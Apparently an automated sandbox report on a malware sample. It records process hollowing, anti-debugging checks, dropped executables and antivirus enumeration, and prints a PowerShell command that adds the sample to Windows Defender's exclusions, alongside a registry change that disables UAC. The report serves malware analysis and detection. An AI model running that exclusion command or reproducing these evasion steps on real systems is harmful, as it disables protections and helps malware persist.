Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: m=] = ] n=allgallparchasn1avx2basebindbitsbmi1bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ...
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (a
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: swsarecvwsasendwup_verxen: %wxennet6 bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= ping=%q pointer stack=[ status %!Month(%02d%02d%s %s:%d%s: 0x%x-cleanup2.5.4.102.5.4.112.5.4.1748828125?4#?'1#0AcceptExAccepted
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservi
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: ddrmountvolmsvmmoufno anodeno-cacheno_proxypollDescreadfromrecvfromreflect.runnableruntime.rwmutexRrwmutexWscavengeshutdownstrconv.taskkilltor_modetraceBuftrigger=unixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservx509sha1yuio.top (forced) B exp.)
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: rayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\Def

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	API call chain: ExitProcess graph end node	graph_12-7506
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	API call chain: ExitProcess graph end node	graph_14-6894
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Code function: 12_2_00402E47 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

12_2_00402E47

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

12_2_0040AF7C

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00415DC0 mov eax, dword ptr fs:[00000030h]	15_2_00415DC0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00906027 mov eax, dword ptr fs:[00000030h]	15_2_00906027
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008F0D90 mov eax, dword ptr fs:[00000030h]	15_2_008F0D90
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008F092B mov eax, dword ptr fs:[00000030h]	15_2_008F092B
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00942E03 push dword ptr fs:[00000030h]	15_2_00942E03
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Code function: 16_2_012020A3 push dword ptr fs:[00000030h]	16_2_012020A3
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Code function: 17_2_011700A3 push dword ptr fs:[00000030h]	17_2_011700A3
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Code function: 18_2_010220A3 push dword ptr fs:[00000030h]	18_2_010220A3

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Code function: 12_2_004031E9 GetStartupInfoA,GetProcessHeap,GetProcessHeap,HeapAlloc,_fast_error_exit,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,_fast_error_exit,_fast_error_exit,__RTC_Initialize,__ioinit,__amsg_exit,GetCommandLineA,___crtGetEnvironmentStringsA,__setargv,__amsg_exit,__setenvp,__amsg_exit,__cinit,__amsg_exit,__wincmdln,

12_2_004031E9

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	Process token adjusted: Debug
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	Process token adjusted: Debug

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_0040B9B5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	12_2_0040B9B5
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_00402E47 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00402E47
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_0040834B SetUnhandledExceptionFilter,__encode_pointer,	12_2_0040834B
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_0040836D __decode_pointer,SetUnhandledExceptionFilter,	12_2_0040836D
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_004027AB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_004027AB
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00419DC7 SetUnhandledExceptionFilter,	15_2_00419DC7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00417B4E
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_004173DD
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0090A02E SetUnhandledExceptionFilter,	15_2_0090A02E
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00907DB5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00907DB5
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00907644 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00907644

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\dl7WL77rkA.exe" -Force
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\dl7WL77rkA.exe" -Force			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Section unmapped: unknown base address: 400000

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		15_2_00415D00
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00905F67 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		15_2_00905F67

Writes to foreign memory regions

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 404000	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 406000	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: EB6008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 405000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 406000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 2E4D008
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 405000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 406000
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Memory written: C:\Windows\SysWOW64\rundll32.exe base: 30E5008

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\dl7WL77rkA.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe "C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe "C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe "C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe "C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe "C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe "C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe "C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe "C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe "C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe "C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe "C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe "C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe "C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe "C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe "C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe "C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe "C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe "C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe "C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe "C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe "C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe"
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	Process created: unknown unknown

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Code function: 12_2_00401D20 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateMutexA,GetLastError,

12_2_00401D20

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Code function: 12_2_0040BC2F cpuid

12_2_0040BC2F

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: GetLocaleInfoA,	12_2_0040D73D
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	15_2_00414570
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	15_2_009047D7

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Queries volume information: C:\Users\user\Desktop\dl7WL77rkA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Code function: 12_2_0040824B GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

12_2_0040824B

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

Code function: 15_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

15_2_004143C0

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

Code function: 15_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

15_2_004144B0

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

12_2_004031E9

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
